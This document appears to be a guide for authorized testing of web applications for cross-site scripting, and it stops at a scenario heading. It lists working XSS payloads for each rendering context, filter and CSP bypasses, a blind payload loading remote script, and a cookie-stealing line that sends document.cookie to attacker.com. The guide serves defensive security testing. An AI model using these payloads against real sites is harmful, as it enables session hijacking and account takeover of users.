Testing For Xss Vulnerabilities

Testing for XSS Vulnerabilities

When to Use

• Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
• Evaluating the effectiveness of input sanitization and output encoding across all application features
• Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
• Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
• Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering

Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.

Prerequisites

• Authorized scope defining the target web application and acceptable testing activities
• Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
• Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
• XSS Hunter or Burp Collaborator for out-of-band payload verification
• SecLists XSS payload lists and custom payloads for WAF bypass scenarios

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Input and Output Mapping

Map every location where user input enters and is rendered by the application:

• Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
• Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
• DOM inputs: Identify client-side JavaScript that reads from location.hash, location.search, document.referrer, window.name, postMessage, or localStorage and writes to the DOM
• Output context identification: For each reflected input, determine the rendering context:
• HTML body: <div>USER_INPUT</div>
• HTML attribute: <input value="USER_INPUT">
• JavaScript string: var x = 'USER_INPUT';
• URL context: <a href="USER_INPUT">
• CSS context: <div style="color: USER_INPUT">

Step 2: Reflected XSS Testing

Test reflected injection points with context-appropriate payloads:

• HTML body context: <script>alert(document.domain)</script>, <img src=x onerror=alert(1)>, <svg onload=alert(1)>
• HTML attribute context: " onfocus=alert(1) autofocus=", " onmouseover=alert(1) ", "><script>alert(1)</script>
• JavaScript string context: ';alert(1)//, \';alert(1)//, </script><script>alert(1)</script>
• URL/href context: javascript:alert(1), data:text/html,<script>alert(1)</script>
• Inside HTML comments: --><script>alert(1)</script><!--
• Filter bypass payloads (when basic payloads are blocked):
• Case variation: <ScRiPt>alert(1)</sCrIpT>
• Event handlers: <details open ontoggle=alert(1)>
• SVG: <svg><animate onbegin=alert(1) attributeName=x>
• Encoding: <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

Step 3: Stored XSS Testing

Test persistent storage points that render input to other users:

• Submit XSS payloads to every stored input field identified in Step 1
• Use a unique identifier in each payload to track which inputs trigger: <script>alert('XSS-PROFILE-001')</script>
• Check all locations where the stored input is rendered (the same input may appear on multiple pages)
• Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
• Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
• Use XSS Hunter payloads ("><script src=https://yourxsshunter.xss.ht></script>) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access

Step 4: DOM-Based XSS Testing

Analyze client-side JavaScript for unsafe DOM manipulation:

• Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:
• document.location, document.URL, document.referrer
• location.hash, location.search, location.href
• window.name, postMessage event data
• Sink identification: Search for dangerous sinks that write to the DOM:
• innerHTML, outerHTML, document.write(), document.writeln()
• eval(), setTimeout(), setInterval(), Function()
• element.setAttribute() with event handlers, jQuery.html(), .append(), v-html (Vue), dangerouslySetInnerHTML (React)
• Trace data flow: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.
• Framework-specific testing: Test React dangerouslySetInnerHTML, Angular template injection ({{constructor.constructor('alert(1)')()}}), Vue v-html directive

Step 5: CSP Bypass and Advanced Exploitation

Test Content Security Policy effectiveness and demonstrate real-world impact:

• CSP analysis: Review the CSP header for weaknesses:
• unsafe-inline in script-src allows inline scripts
• unsafe-eval allows eval() and similar functions
• Wildcard domains (*.googleapis.com) may host JSONP endpoints usable for CSP bypass
• base-uri not set allows <base> tag injection to redirect relative script loads
• JSONP bypass: If CSP allows a domain with JSONP endpoints, use <script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>
• Impact demonstration:
• Session hijacking: <script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>
• Credential phishing: Inject a fake login form overlay that submits to the attacker's server
• Keylogging: Inject JavaScript that captures keystrokes on the page
• Account takeover: Use XSS to change the victim's email address and trigger a password reset

Key Concepts

Tools & Systems

• Burp Suite Professional: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing
• XSS Hunter: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS
• DOMPurify: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version
• Browser Developer Tools: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time

Common Scenarios

Scenario: Stored XSS in Customer Support Ticket System